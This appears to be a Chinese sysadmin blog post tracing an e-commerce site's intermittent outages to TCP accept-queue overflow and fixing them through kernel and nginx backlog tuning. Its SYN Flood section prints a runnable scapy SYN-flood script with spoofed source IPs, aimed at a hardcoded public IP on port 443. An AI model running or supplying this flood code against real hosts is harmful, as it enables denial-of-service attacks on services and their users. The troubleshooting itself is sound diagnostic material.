問題描述
監(jiān)控系統(tǒng)發(fā)現(xiàn)電商網(wǎng)站主頁及其它頁面間歇性的無法訪問;
查看安全防護(hù)和網(wǎng)絡(luò)流量、應(yīng)用系統(tǒng)負(fù)載均正常;
系統(tǒng)重啟后,能夠暫時解決,但持續(xù)一段時間后間歇性問題再次出現(xiàn)。
此時問題已影響到整個網(wǎng)站的正常業(yè)務(wù),我那個心驚呀,最主要是報警系統(tǒng)沒有任何報警,服務(wù)運(yùn)行一切正常,瞬時背上的汗已經(jīng)出來了。但還是要靜心,來仔細(xì)尋找蛛絲馬跡,來一步一步找問題。
問題初步判斷
檢查dev 和 網(wǎng)卡設(shè)備層,是否有error和drop ,分析在硬件和系統(tǒng)層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig
觀察socket overflow 和 socket droped(如果應(yīng)用處理全連接隊(duì)列(accept queue)過慢 socket overflow,影響半連接隊(duì)列(syn queue)溢出socket dropped)-----命令 netstat -s |grep -i listen
發(fā)現(xiàn)SYN socket overflow 和 socket droped 急增加
檢查sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 應(yīng)用程序的backlog ;
ss -lnt查詢,SEND-Q會取上述參數(shù)的最小值
發(fā)現(xiàn)當(dāng)時隊(duì)列已經(jīng)超過網(wǎng)站80端口和443端口默認(rèn)值
檢查 selinux 和 NetworkManager 是否啟用 ,建議禁用;
檢查timestap ,reuse 啟用,內(nèi)核recycle是否啟用,如果過NAT,禁用recycle;
抓包判斷請求進(jìn)來后應(yīng)用處理的情況,是否收到SYN未響應(yīng)情況。
深入分析問題
正常TCP建連接三次握手過程:
第一步:客戶端 發(fā)送 syn 到 服務(wù)端發(fā)起握手;
第二步:服務(wù)端 收到 syn后回復(fù)syn+ack給 客戶端;
第三步:客戶端 收到syn+ack后,回復(fù) 服務(wù)端一個ack表示收到了 服務(wù)端的syn+ack 。
從描述的情況來看,TCP建連接的時候全連接隊(duì)列(accept隊(duì)列)滿了,尤其是描述中癥狀為了證明是這個原因。反復(fù)看了幾次之后發(fā)現(xiàn)這個overflowed 一直在增加,那么可以明確的是server上全連接隊(duì)列一定溢出了。
接著查看溢出后,OS怎么處理:
# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0
tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連接隊(duì)列滿了那么server扔掉client 發(fā)過來的ack(在server端認(rèn)為連接還沒建立起來)
為了證明客戶端應(yīng)用代碼的異常跟全連接隊(duì)列滿有關(guān)系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的時候如果全連接隊(duì)列滿了,server發(fā)送一個reset包給client,表示廢掉這個握手過程和這個連接(本來在server端這個連接就還沒建立起來)。
接著測試然后在web服務(wù)日志中異常中可以看到很多connection reset by peer的錯誤,到此證明客戶端錯誤是這個原因?qū)е碌摹?/p>
查看sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 nginx的backlog配置參數(shù),ss -ln取最小值,發(fā)現(xiàn)為128,此時resv-q已經(jīng)在129 ,請求被丟棄。將上述參數(shù)修改,并進(jìn)行優(yōu)化:
linux內(nèi)核參進(jìn)行優(yōu)化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384
nginx 配置參數(shù)優(yōu)化:backlog=32768;
利用python 多線程壓測,并未發(fā)現(xiàn)新的問題:
import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))
理解TCP握手過程中建連接的流程和隊(duì)列
如上圖所示,這里有兩個隊(duì)列:syns queue(半連接隊(duì)列);accept queue(全連接隊(duì)列)
三次握手中,在第一步server收到client的syn后,把相關(guān)信息放到半連接隊(duì)列中,同時回復(fù)syn+ack給client(第二步);
第三步的時候server收到client的ack,如果這時全連接隊(duì)列沒滿,那么從半連接隊(duì)列拿出相關(guān)信息放入到全連接隊(duì)列中,否則按tcp_abort_on_overflow指示的執(zhí)行。
這時如果全連接隊(duì)列滿了并且tcp_abort_on_overflow是0的話,server過一段時間再次發(fā)送syn+ack給client(也就是重新走握手的第二步),如果client超時等待比較短,就很容易異常了。
sYN Flood洪水攻擊
當(dāng)前最流行的DoS(拒絕服務(wù)攻擊)與DDoS(分布式拒絕服務(wù)攻擊)的方式之一,這是一種利用TCP協(xié)議缺陷,導(dǎo)致被攻擊服務(wù)器保持大量SYN_RECV狀態(tài)的“半連接”,并且會重試默認(rèn)5次回應(yīng)第二個握手包,塞滿TCP等待連接隊(duì)列,資源耗盡(CPU滿負(fù)荷或內(nèi)存不足),讓正常的業(yè)務(wù)請求連接不進(jìn)來。
from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))
所以大家要對TCP半連接隊(duì)列和全連接隊(duì)列的問題很容易被忽視,但是又很關(guān)鍵,特別是對于一些短連接應(yīng)用更容易爆發(fā)。
出現(xiàn)問題后,從網(wǎng)絡(luò)流量、cpu、線程、負(fù)載來看都比較正常,在用戶端來看rt比較高,但是從服務(wù)器端的日志看rt又很短。如何避免在出現(xiàn)問題時手忙腳亂,建立起應(yīng)急機(jī)機(jī)制,后續(xù)有機(jī)會寫一下應(yīng)急方面的文章。
-
監(jiān)控系統(tǒng)
+關(guān)注
關(guān)注
21文章
3947瀏覽量
177325 -
TCP
+關(guān)注
關(guān)注
8文章
1381瀏覽量
79344 -
安全防護(hù)
+關(guān)注
關(guān)注
0文章
60瀏覽量
13587
原文標(biāo)題:記一次驚心的網(wǎng)站 TCP 隊(duì)列問題排查經(jīng)歷
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
FIFO隊(duì)列原理簡述
Linux TCP隊(duì)列相關(guān)參數(shù)的總結(jié)
![Linux <b class='flag-5'>TCP</b><b class='flag-5'>隊(duì)列</b>相關(guān)參數(shù)的總結(jié)](https://file1.elecfans.com/web2/M00/AB/3F/wKgaomU_EYuAQisbAAD9NY8yJds486.jpg)
TCP隊(duì)列引用問題
labview隊(duì)列 出現(xiàn)入隊(duì)列或者出隊(duì)列問題
RTOS消息隊(duì)列的多種用途
![RTOS消息<b class='flag-5'>隊(duì)列</b>的多種用途](https://file.elecfans.com/web2/M00/4E/08/poYBAGK7-BCAa0fqAADeuVJW2Rk395.png)
沒有accept,能建立TCP連接嗎?
SystemVerilog中的隊(duì)列
什么是消息隊(duì)列?消息隊(duì)列中間件重要嗎?
嵌入式環(huán)形隊(duì)列和消息隊(duì)列的實(shí)現(xiàn)
RTOS消息隊(duì)列的應(yīng)用
![RTOS消息<b class='flag-5'>隊(duì)列</b>的應(yīng)用](https://file1.elecfans.com/web2/M00/88/CB/wKgaomR0E0WAGaiCAAAZvY_r7Cs460.png)
FreeRTOS消息隊(duì)列介紹
![FreeRTOS消息<b class='flag-5'>隊(duì)列</b>介紹](https://file1.elecfans.com/web2/M00/8C/25/wKgZomSmgi6AbaURAAJ2j7wCnv4174.jpg)
評論